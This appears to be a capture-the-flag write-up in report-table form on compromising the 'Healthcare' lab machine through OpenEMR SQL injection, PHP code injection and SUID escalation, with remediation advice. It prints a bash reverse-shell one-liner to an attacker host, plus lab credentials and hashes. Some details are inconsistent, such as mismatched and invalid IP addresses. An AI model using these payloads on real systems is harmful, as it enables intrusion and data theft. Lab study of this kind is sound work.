|  |  |
| --- | --- |
| Machine Description | The machine Healthcare is a boot2root challenge built around an outdated OpenEMR instance suffering SQL injection and a SUID binary mis-configuration enabling a full compromise. |
| Target IP | 10.22.169.100 |
| Vulnerability Name | Unauthenticated SQL injection in OpenEMR v4.1.0 leading to credential disclosure and unauthenticated shell upload plus SUID binary mis-configuration privilege escalation. |
| Service / Version | TCP / 80 HTTP Apache httpd 2.2.17 |
| CVSS Score / Severity | 9.8 Critical |
| Attack Vector | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Proof Of Concept | STEP 1 – Discover host IP address using Netdiscover tool    STEP 2 – Look for Open Ports, Service Version and perform script scan on the target System using Nmap    STEP 3 – Target is Running FTP Server on 21 lets enumerate     * Anonymous login not allowed found that target is running ProFTPD Default Installation ( Possibility that System is not harden as per CIS Controls )     STEP 4 – Lets Enumerate HTTP 80 and what it hosting     * Site seems to host some kind of under construction website * Let’s look for /robots.txt      * Tried every path also tried curl request by modifying User-Agent Header Nothing found much * Lets look for available Directories and files on webserver its hosting on HTTP port 80 by fuzzing   FILES –    Directories –     * Found openemr on server lets enumerate what we can get over there      * Got version details here **OpenEMR v4.1.0**   STEP 5 – Lets search for Exploit Code on Exploit DB     * Lets fetch the endpoint from the exploit code where we can try to SQL Injection using SQL Map      * URL : “http://192.168.56.106/openemr/interface/login/validateUser.php?u=“ * Modify URL and set in variable     STEP 6 – Lets use SQL Map To enumerate database     * Found Database names lets enumerate table names      * Found various table names Lets dump values form table got values from tables       Got Hashes –    Medical - ab24aed5a7c4ad45615cd7e0da816eea39e4895d      Admin - 3863efef9ee2bfbc51ecdca359c6302bed1389e8    USER : admin PASS : ackbar  USER : medical PASS : medical  STEP 7 – try login using credentials we got     * Lets enumerate further we found that we can access local files lets try to achieve RCE by injecting PHP code      * Injecting Payload on endpoint : * http://10.22.169.100/openemr/interface/main/main\_screen.php?auth=login&site=default * Save it     STEP 8 – Try to access endpoint and pass commands in variable ‘cmd’     * We got access lets get reverse shell on netcat 4444 * Payload : bash -c 'bash -i >& /dev/tcp/10.22.169.1011/4444 0>&1'      * Got Shell Now lets try to escalate privileges   STEP 9 – Privilege Escalation by SUID bit enabled for /usr/bin/healthcheck   * lets upgrade it to a fully interactive TTY shell with the help of python-onliner and further go for post enumeration in order to escalate root privileges.      * So first we log in as **medical:medica**l (enumerated through SQLi) and then try to identify SUID enables binaries using the find command.      * We explore ‘healthcheck’ further using strings command and we find that it scans the system by running commands like ‘ ifconfig ‘  and  ‘ fdisk ‘      * We have solved the machine |
| Impact | * Attacker gains shell as web user and can move laterally. * Sensitive healthcare application data (credentials, patient records) can be exfiltrated. * Using SUID mis-configuration attacker escalates to root and controls the host. * Service integrity and availability are lost, full system compromise achieved. |
| Remediations | * Upgrade OpenEMR to latest supported secure version apply security patches. * Disable unnecessary FTP access and enforce least-privilege access and strong creds. * Remove or fix SUID binaries that execute commands without absolute paths restrict PATH environment. * Implement WAF or IDS on web application, monitor logs for SQLi patterns, perform periodic vulnerability scanning. |
| Reference | <https://www.exploit-db.com/exploits/49742>  <https://www.invicti.com/web-applications-advisories/sql-injection-vulnerability-in-openemr> |